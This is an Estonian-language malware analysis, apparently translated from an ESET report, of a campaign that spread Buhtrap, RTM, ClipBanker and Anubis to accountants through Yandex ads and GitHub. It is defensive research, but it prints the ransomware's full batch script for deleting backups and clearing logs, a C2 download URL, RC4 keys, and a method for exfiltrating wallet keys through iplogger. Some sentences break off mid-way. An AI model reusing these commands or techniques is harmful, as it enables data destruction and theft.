Raamatupidajate küberrünnaku sihtimiseks võite kasutada töödokumente, mida nad veebist otsivad. Umbes seda on küberrühmitus viimastel kuudel teinud, levitades teadaolevaid tagauksi.
Buhtrapi lähtekood on varem Internetis lekkinud, et igaüks saaks seda kasutada. Meil puudub teave RTM-koodi saadavuse kohta.
Selles postituses räägime teile, kuidas ründajad levitasid Yandex.Directi abil pahavara ja hostisid seda GitHubis. Postituse lõpetab pahavara tehniline analüüs.
Buhtrap ja RTM on taas tegutsemas
Levikumehhanism ja ohvrid
Ohvritele tarnitud erinevatel koormatel on ühine levimismehhanism. Kõik ründajate loodud pahatahtlikud failid paigutati kahte erinevasse GitHubi hoidlasse.
Tavaliselt sisaldas hoidla ühte allalaaditavat pahatahtlikku faili, mis muutus sageli. Kuna saate GitHubis vaadata hoidla muudatuste ajalugu, näeme, millist pahavara teatud perioodi jooksul levitati. Ohvri veenmiseks pahatahtlikku faili alla laadima kasutati ülaloleval joonisel näidatud veebisaiti blanki-shabloni24[.]ru.
Saidi kujundus ja kõik pahatahtlike failide nimed järgivad ühte kontseptsiooni – vormid, mallid, lepingud, näidised jne. Arvestades, et Buhtrapi ja RTM-i tarkvara on raamatupidajate vastu suunatud rünnakutes kasutatud juba varem, eeldasime, et strateegia on uues kampaanias sama. Ainus küsimus on, kuidas ohver ründajate veebisaidile jõudis.
Nakkus
Pahatahtlik reklaam meelitas vähemalt mitut potentsiaalset ohvrit, kes sellele saidile sattus. Allpool on URL-i näide:
https://blanki-shabloni24.ru/?utm_source=yandex&utm_medium=banner&utm_campaign=cid|{blanki_rsya}|context&utm_content=gid|3590756360|aid|6683792549|15114654950_&utm_term=скачать бланк счета&pm_source=bb.f2.kz&pm_block=none&pm_position=0&yclid=1029648968001296456
Nagu lingilt näha, postitati bänner legitiimsesse raamatupidamisfoorumisse bb.f2[.]kz. Oluline on märkida, et bännerid ilmusid erinevatel saitidel, kõigil oli sama kampaania ID (blanki_rsya) ja enamik neist olid seotud raamatupidamis- või õigusabiteenustega. URL näitab, et potentsiaalne ohver kasutas arve vormi allalaadimise taotlust, mis toetab meie hüpoteesi suunatud rünnakute kohta. Allpool on saidid, kus bännerid ilmusid, ja vastavad otsingupäringud.
- lae alla arve vorm – bb.f2[.]kz
- lepingu näidis - Ipopen[.]ru
- avalduse kaebuse näidis - 77metrov[.]ru
- lepingu vorm - blank-dogovor-kupli-prodazhi[.]ru
- kohtuavalduse näidis - zen.yandex[.]ru
- kaebuse näidis - yurday[.]ru
- lepinguvormide näidised – Regforum[.]ru
- lepingu vorm – assistentus[.]ru
- korterilepingu näidis –>napravah[.]com
- juriidiliste lepingute näidised - avito[.]ru
Sait blanki-shabloni24[.]ru võib olla konfigureeritud läbima lihtsat visuaalset hindamist. Tavaliselt ei tundu reklaam, mis osutab professionaalse välimusega saidile, millel on link GitHubile, midagi ilmselgelt halba. Lisaks laadisid ründajad hoidlasse üles pahatahtlikke faile vaid piiratud aja jooksul, tõenäoliselt kampaania ajal. Enamasti sisaldas GitHubi hoidla tühja ZIP-arhiivi või tühja EXE-faili. Seega võisid ründajad levitada reklaame Yandex.Directi kaudu saitidel, mida suure tõenäosusega külastasid raamatupidajad, kes tulid vastuseks konkreetsetele otsingupäringutele.
Järgmisena vaatleme sel viisil jaotatud erinevaid kasulikke koormusi.
Kasuliku koormuse analüüs
Jaotuse kronoloogia
Pahatahtlik kampaania algas 2018. aasta oktoobri lõpus ja on selle kirjutamise ajal aktiivne. Kuna kogu hoidla oli GitHubis avalikult saadaval, koostasime kuue erineva pahavaraperekonna levitamise täpse ajaskaala (vt allolevat joonist). Lisasime giti ajalooga võrdlemiseks rea, mis näitab, millal bänneri link avastati, mõõdetuna ESET-i telemeetria abil. Nagu näete, korreleerub see hästi GitHubi kasuliku koormuse kättesaadavusega. Veebruari lõpu lahknevus on seletatav asjaoluga, et meil puudus osa muudatuste ajaloost, kuna hoidla eemaldati GitHubist enne, kui saime selle täielikult kätte saada.
Joonis 1. Pahavara leviku kronoloogia.
Koodi allkirjastamise sertifikaadid
Kampaanias kasutati mitut sertifikaati. Mõnele on alla kirjutanud rohkem kui üks pahavaraperekond, mis viitab veelgi sellele, et erinevad näidised kuulusid samasse kampaaniasse. Hoolimata privaatvõtme olemasolust ei allkirjastanud operaatorid binaarfaile süstemaatiliselt ega kasutanud võtit kõigi proovide jaoks. 2019. aasta veebruari lõpus hakkasid ründajad looma kehtetuid allkirju, kasutades Google'ile kuuluvat sertifikaati, mille privaatvõtit neil polnud.
Kõik kampaaniaga seotud sertifikaadid ja nende allkirjastatud pahavara perekonnad on loetletud allolevas tabelis.
Oleme neid koodi allkirjastamise sertifikaate kasutanud ka teiste pahavaraperekondadega linkide loomiseks. Enamiku sertifikaatide puhul ei leidnud me näidiseid, mida poleks levitatud GitHubi hoidla kaudu. Botivõrku kuuluva pahavara allkirjastamiseks kasutati aga TOV “MARIYA” sertifikaati
Win32/Filecoder.Buhtrap
Esimene komponent, mis meie tähelepanu köitis, oli äsja avastatud Win32/Filecoder.Buhtrap. See on Delphi binaarfail, mis mõnikord pakitakse. Seda levitati peamiselt 2019. aasta veebruaris-märtsis. See käitub nagu lunavaraprogrammile kohane – otsib kohalikke draive ja võrgukaustu ning krüpteerib leitud failid. See ei vaja ohtu sattumiseks Interneti-ühendust, kuna see ei võta krüpteerimisvõtmete saatmiseks ühendust serveriga. Selle asemel lisab see lunarahasõnumi lõppu "märgi" ja soovitab operaatoritega ühenduse võtmiseks kasutada e-posti või Bitmessage'i.
Võimalikult paljude tundlike ressursside krüptimiseks käivitab Filecoder.Buhtrap lõime, mis on loodud võtmetarkvara sulgemiseks, millel võivad olla avatud failihaldurid, mis sisaldavad väärtuslikku teavet, mis võib krüptimist segada. Sihtprotsessideks on peamiselt andmebaasihaldussüsteemid (DBMS). Lisaks kustutab Filecoder.Buhtrap logifailid ja varukoopiad, et muuta andmete taastamine keeruliseks. Selleks käivitage allolev pakkskript.
bcdedit /set {default} bootstatuspolicy ignoreallfailures
bcdedit /set {default} recoveryenabled no
wbadmin delete catalog -quiet
wbadmin delete systemstatebackup
wbadmin delete systemstatebackup -keepversions:0
wbadmin delete backup
wmic shadowcopy delete
vssadmin delete shadows /all /quiet
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientDefault" /va /f
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers" /f
reg add "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers"
attrib "%userprofile%documentsDefault.rdp" -s -h
del "%userprofile%documentsDefault.rdp"
wevtutil.exe clear-log Application
wevtutil.exe clear-log Security
wevtutil.exe clear-log System
sc config eventlog start=disabled
Filecoder.Buhtrap kasutab seaduslikku Interneti-IP Loggeri teenust, mis on loodud veebisaidi külastajate kohta teabe kogumiseks. See on mõeldud lunavara ohvrite jälgimiseks, mille eest vastutab käsurida:
mshta.exe "javascript:document.write('');"
Krüpteerimiseks valitakse failid, kui need ei vasta kolmele välistamisloendile. Esiteks ei krüptita järgmiste laienditega faile: .com, .cmd, .cpl, .dll, .exe, .hta, .lnk, .msc, .msi, .msp, .pif, .scr, .sys ja .nahkhiir. Teiseks jäetakse välja kõik failid, mille täielik tee sisaldab kataloogistringe allolevast loendist.
.{ED7BA470-8E54-465E-825C-99712043E01C}
tor browser
opera
opera software
mozilla
mozilla firefox
internet explorer
googlechrome
google
boot
application data
apple computersafari
appdata
all users
:windows
:system volume information
:nvidia
:intel
Kolmandaks on krüpteerimisest välja jäetud ka teatud failinimed, nende hulgas lunarahasõnumi failinimi. Nimekiri on esitatud allpool. Ilmselgelt on kõik need erandid mõeldud masina töös hoidmiseks, kuid minimaalse tehnoseisundiga.
boot.ini
bootfont.bin
bootsect.bak
desktop.ini
iconcache.db
ntdetect.com
ntldr
ntuser.dat
ntuser.dat.log
ntuser.ini
thumbs.db
winupas.exe
your files are now encrypted.txt
windows update assistant.lnk
master.exe
unlock.exe
unlocker.exe
Failide krüptimise skeem
Pärast käivitamist loob pahavara 512-bitise RSA-võtmepaari. Privaatne eksponent (d) ja moodul (n) krüpteeritakse seejärel kõvakodeeritud 2048-bitise avaliku võtmega (avalik eksponent ja moodul), zlib-pakitud ja base64-kodeering. Selle eest vastutav kood on näidatud joonisel 2.
Joonis 2. 512-bitise RSA võtmepaari genereerimise protsessi Hex-Rays dekompileerimise tulemus.
Allpool on näide lihttekstist koos loodud privaatvõtmega, mis on lunarahasõnumile lisatud žetoon.
DF9228F4F3CA93314B7EE4BEFC440030665D5A2318111CC3FE91A43D781E3F91BD2F6383E4A0B4F503916D75C9C576D5C2F2F073ADD4B237F7A2B3BF129AE2F399197ECC0DD002D5E60C20CE3780AB9D1FE61A47D9735036907E3F0CF8BE09E3E7646F8388AAC75FF6A4F60E7F4C2F697BF6E47B2DBCDEC156EAD854CADE53A239
Ründaja avalik võti on toodud allpool.
e = 0x72F750D7A93C2C88BFC87AD4FC0BF4CB45E3C55701FA03D3E75162EB5A97FDA7ACF8871B220A33BEDA546815A9AD9AA0C2F375686F5009C657BB3DF35145126C71E3C2EADF14201C8331699FD0592C957698916FA9FEA8F0B120E4296193AD7F3F3531206608E2A8F997307EE7D14A9326B77F1B34C4F1469B51665757AFD38E88F758B9EA1B95406E72B69172A7253F1DFAA0FA02B53A2CC3A7F0D708D1A8CAA30D954C1FEAB10AD089EFB041DD016DCAAE05847B550861E5CACC6A59B112277B60AC0E4E5D0EA89A5127E93C2182F77FDA16356F4EF5B7B4010BCCE1B1331FCABFFD808D7DAA86EA71DFD36D7E701BD0050235BD4D3F20A97AAEF301E785005
n = 0x212ED167BAC2AEFF7C3FA76064B56240C5530A63AB098C9B9FA2DE18AF9F4E1962B467ABE2302C818860F9215E922FC2E0E28C0946A0FC746557722EBB35DF432481AC7D5DDF69468AF1E952465E61DDD06CDB3D924345A8833A7BC7D5D9B005585FE95856F5C44EA917306415B767B684CC85E7359C23231C1DCBBE714711C08848BEB06BD287781AEB53D94B7983EC9FC338D4320129EA4F568C410317895860D5A85438B2DA6BB3BAAE9D9CE65BCEA6760291D74035775F28DF4E6AB1A748F78C68AB07EA166A7309090202BB3F8FBFC19E44AC0B4D3D0A37C8AA5FA90221DA7DB178F89233E532FF90B55122B53AB821E1A3DB0F02524429DEB294B3A4EDD
Failid krüpteeritakse 128-bitise võtmega AES-256-CBC abil. Iga krüptitud faili jaoks luuakse uus võti ja uus lähtestamisvektor. Võtmeteave lisatakse krüptitud faili lõppu. Mõelgem krüptitud faili vormingule.
Krüptitud failidel on järgmine päis:
Lähtefaili andmed, millele on lisatud VEGA maagiline väärtus, krüpteeritakse kuni esimese 0x5000 baiti. Kogu dekrüpteerimisteave on lisatud järgmise struktuuriga failile:
- Faili suuruse marker sisaldab märki, mis näitab, kas fail on suurem kui 0x5000 baiti
— AES-võtmeplokk = ZlibCompress (RSAEncrypt (AES-võti + IV, loodud RSA-võtmepaari avalik võti))
- RSA võtmeplokk = ZlibCompress (RSAEncrypt (genereeritud RSA privaatvõti, kõvakodeeritud RSA avalik võti))
Win32/ClipBanker
Win32/ClipBanker on komponent, mida levitati perioodiliselt 2018. aasta oktoobri lõpust detsembri alguseni. Selle ülesanne on jälgida lõikepuhvri sisu, ta otsib krüptoraha rahakottide aadresse. Olles määranud sihtrahakoti aadressi, asendab ClipBanker selle aadressiga, mis arvatakse kuuluvat operaatoritele. Meie uuritud proovid ei olnud kastides ega segatud. Ainus käitumise varjamiseks kasutatav mehhanism on stringide krüpteerimine. Operaatori rahakoti aadressid krüpteeritakse RC4 abil. Sihtkrüptovaluutad on Bitcoin, Bitcoin cash, Dogecoin, Ethereum ja Ripple.
Ajal, mil pahavara levis ründajate Bitcoini rahakottidesse, saadeti väike summa VTS-ile, mis seab kampaania edukuse kahtluse alla. Lisaks puuduvad tõendid selle kohta, et need tehingud oleksid ClipBankeriga üldse seotud.
Win32/RTM
Win32/RTM komponenti levitati mitu päeva 2019. aasta märtsi alguses. RTM on Delphis kirjutatud Trooja pankur, mis on suunatud kaugpangasüsteemidele. 2017. aastal avaldasid ESET-i teadlased
Buhtrap Loader
Mõnda aega oli GitHubis saadaval allalaadija, mis ei sarnanenud varasemate Buhtrapi tööriistadega. Ta pöördub poole https://94.100.18[.]67/RSS.php?<some_id>
järgmise etapi saamiseks ja laadib selle otse mällu. Saame eristada teise etapi koodi kahte käitumist. Esimeses URL-is edastas RSS.php Buhtrapi tagaukse otse – see tagauks on väga sarnane sellele, mis oli saadaval pärast lähtekoodi lekkimist.
Huvitaval kombel näeme mitmeid Buhtrapi tagauksega kampaaniaid ja neid juhivad väidetavalt erinevad operaatorid. Sel juhul on peamine erinevus selles, et tagauks laaditakse otse mällu ja see ei kasuta tavalist skeemi DLL-i juurutusprotsessiga, millest me rääkisime.
Teine, keerulisem käitumine oli see, et RSS.php URL edastati teisele laadijale. See rakendas mõningast segadust, näiteks dünaamilise impordi tabeli uuesti ülesehitamist. Alglaaduri eesmärk on võtta ühendust C&C serveriga
Android/Spy.Banker
Huvitaval kombel leiti GitHubi hoidlast ka Androidi jaoks mõeldud komponent. Peaesinduses oli ta vaid ühe päeva – 1. novembril 2018. Peale GitHubi postitamise ei leia ESET-i telemeetria ühtegi tõendit selle pahavara levitamise kohta.
Komponenti hostiti Androidi rakenduspaketina (APK). See on tugevalt segatud. Pahatahtlik käitumine on peidetud APK-s asuvasse krüpteeritud JAR-i. See krüpteeritakse RC4-ga, kasutades järgmist võtit:
key = [
0x87, 0xd6, 0x2e, 0x66, 0xc5, 0x8a, 0x26, 0x00, 0x72, 0x86, 0x72, 0x6f,
0x0c, 0xc1, 0xdb, 0xcb, 0x14, 0xd2, 0xa8, 0x19, 0xeb, 0x85, 0x68, 0xe1,
0x2f, 0xad, 0xbe, 0xe3, 0xb9, 0x60, 0x9b, 0xb9, 0xf4, 0xa0, 0xa2, 0x8b, 0x96
]
Stringide krüptimiseks kasutatakse sama võtit ja algoritmi. JAR asub APK_ROOT + image/files
. Faili esimesed 4 baiti sisaldavad krüptitud JAR-i pikkust, mis algab kohe pikkuse välja järel.
Pärast faili dekrüpteerimist avastasime, et see oli Anubis – varem
- mikrofoni salvestamine
- ekraanipiltide tegemine
- GPS-koordinaatide hankimine
- klahvilogija
- seadme andmete krüpteerimine ja lunaraha nõudmine
- spämmimine
Huvitaval kombel kasutas pankur Twitterit varukommunikatsioonikanalina, et hankida teine C&C-server. Meie analüüsitud proov kasutas @JonesTraderi kontot, kuid analüüsi ajal oli see juba blokeeritud.
Pankur sisaldab Android-seadme sihtrakenduste loendit. See on pikem kui Sophose uuringus saadud nimekiri. Nimekirjas on palju pangarakendusi, veebipõhiseid ostuprogramme, nagu Amazon ja eBay, ning krüptovaluutateenuseid.
MSIL/ClipBanker.IH
Viimane selle kampaania raames levitatud komponent oli .NET Windowsi käivitatav fail, mis ilmus 2019. aasta märtsis. Enamik uuritud versioone oli pakitud ConfuserEx v1.0.0-ga. Nagu ClipBanker, kasutab see komponent lõikepuhvrit. Tema eesmärgiks on lai valik krüptovaluutasid, aga ka pakkumised Steamis. Lisaks kasutab ta teenust IP Logger, et varastada Bitcoini privaatne WIF-võti.
Kaitsemehhanismid
Lisaks eelistele, mida ConfuserEx silumise, dumpingu ja rikkumiste ärahoidmisel pakub, sisaldab komponent viirusetõrjetoodete ja virtuaalmasinate tuvastamise võimalust.
Kontrollimaks, kas see töötab virtuaalses masinas, kasutab pahavara sisseehitatud Windowsi WMI käsurida (WMIC), et küsida BIOS-i teavet, nimelt:
wmic bios
Seejärel analüüsib programm käsu väljundit ja otsib märksõnad: VBOX, VirtualBox, XEN, qemu, bochs, VM.
Viirusetõrjetoodete tuvastamiseks saadab pahavara Windowsi turbekeskusele Windows Management Instrumentationi (WMI) päringu ManagementObjectSearcher
API, nagu allpool näidatud. Pärast base64 dekodeerimist näeb kõne välja järgmine:
ManagementObjectSearcher('rootSecurityCenter2', 'SELECT * FROM AntivirusProduct')
Joonis 3. Viirusetõrjetoodete tuvastamise protsess.
Lisaks kontrollib pahavara, kas
Püsivus
Uuritud pahavara versioon kopeerib end sisse %APPDATA%googleupdater.exe
ja määrab Google'i kataloogi atribuudi "peidetud". Siis muudab ta väärtust SoftwareMicrosoftWindows NTCurrentVersionWinlogonshell
Windowsi registris ja lisab tee updater.exe
. Nii käivitatakse pahavara iga kord, kui kasutaja sisse logib.
Pahatahtlik käitumine
Sarnaselt ClipBankeriga jälgib pahavara lõikepuhvri sisu ja otsib krüptoraha rahakoti aadresse ning leidmisel asendab selle mõne operaatori aadressiga. Allpool on koodist leitu põhjal sihtaadresside loend.
BTC_P2PKH, BTC_P2SH, BTC_BECH32, BCH_P2PKH_CashAddr, BTC_GOLD, LTC_P2PKH, LTC_BECH32, LTC_P2SH_M, ETH_ERC20, XMR, DCR, XRP, DOGE, DASH, ZEC_T_ADDR, ZEC_Z_ADDR, STELLAR, NEO, ADA, IOTA, NANO_1, NANO_3, BANANO_1, BANANO_3, STRATIS, NIOBIO, LISK, QTUM, WMZ, WMX, WME, VERTCOIN, TRON, TEZOS, QIWI_ID, YANDEX_ID, NAMECOIN, B58_PRIVATEKEY, STEAM_URL
Iga aadressitüübi jaoks on vastav regulaaravaldis. Väärtust STEAM_URL kasutatakse Steami süsteemi ründamiseks, nagu on näha regulaaravaldisest, mida kasutatakse puhvris määratlemiseks:
b(https://|http://|)steamcommunity.com/tradeoffer/new/?partner=[0-9]+&token=[a-zA-Z0-9]+b
Eksfiltratsiooni kanal
Lisaks aadresside asendamisele puhvris sihib pahavara Bitcoini, Bitcoin Core ja Electrum Bitcoini rahakottide privaatseid WIF-võtmeid. Programm kasutab WIF-i privaatvõtme hankimiseks eksfiltreerimiskanalina saiti plogger.org. Selleks lisavad operaatorid privaatvõtme andmed User-Agent HTTP päisesse, nagu allpool näidatud.
Joonis 4. IP logija konsool väljundandmetega.
Operaatorid ei kasutanud iplogger.org-i rahakottide väljafiltreerimiseks. Tõenäoliselt kasutasid nad väljal oleva 255 tähemärgi piirangu tõttu teistsugust meetodit User-Agent
kuvatakse IP Loggeri veebiliideses. Meie uuritud proovides oli teine väljundserver salvestatud keskkonnamuutujasse DiscordWebHook
. Üllataval kombel pole seda keskkonnamuutujat kuskil koodis määratud. See viitab sellele, et pahavara on alles väljatöötamisel ja muutuja on määratud operaatori testmasinale.
On veel üks märk sellest, et programm on väljatöötamisel. Binaarfail sisaldab kahte iplogger.org URL-i ja mõlema kohta tehakse päring andmete väljafiltreerimisel. Ühele neist URL-idest päringus eelneb väljal Referer olevale väärtusele „DEV /”. Leidsime ka versiooni, mida ei pakitud ConfuserExi, selle URL-i adressaadi nimi on DevFeedbackUrl. Keskkonnamuutuja nime põhjal usume, et operaatorid kavatsevad kasutada legitiimset teenust Discord ja selle veebi pealtkuulamissüsteemi, et varastada krüptoraha rahakotte.
Järeldus
See kampaania on näide legitiimsete reklaamiteenuste kasutamisest küberrünnakutes. Skeem on suunatud Venemaa organisatsioonidele, kuid me ei oleks üllatunud, kui näeksime sellist rünnakut, kasutades mitte-Vene teenuseid. Kompromissi vältimiseks peavad kasutajad olema kindlad allalaaditava tarkvara allika maines.
Kompromissi ja MITER ATT&CK atribuutide indikaatorite täielik loetelu on saadaval aadressil
Allikas: www.habr.com